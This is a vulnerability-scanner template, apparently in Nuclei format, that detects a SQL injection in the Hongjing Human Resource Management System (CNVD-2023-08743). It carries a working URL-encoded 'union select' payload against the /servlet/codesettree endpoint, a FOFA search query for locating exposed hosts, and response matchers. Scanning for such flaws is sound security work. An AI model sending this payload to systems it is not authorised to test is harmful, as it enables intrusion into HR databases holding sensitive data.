30 lines
1.2 KiB
YAML
30 lines
1.2 KiB
YAML
id: CNVD-2023-08743
|
|
|
|
info:
|
|
name: Hongjing Human Resource Management System - SQL Injection
|
|
author: SleepingBag945
|
|
severity: critical
|
|
description: There is a SQL injection vulnerability in the categories of Hongjing Human Resource Management System, from which attackers can obtain sensitive database information.
|
|
reference:
|
|
- https://www.henry4e36.top/index.php/archives/162.html
|
|
- https://blog.csdn.net/qq_41904294/article/details/130944159
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: title="人力资源信息管理系统"
|
|
tags: cnvd2023,cnvd,hongjing,hcm,sqli
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(header,"text/xml")'
|
|
- 'contains_all(body,"TreeNode id=\"hongjing","SQL Server")'
|
|
condition: and
|
|
# digest: 4a0a00473045022059810b4634d6fa7f6cce54d1ed52789c775deae48194b5929fdbe72f748f6909022100f7d9a0278a803bf1b29c9f178435623abb03589ec17bc66a88c2f1366ef5d642:922c64590222798bb761d5b6d8e72950 |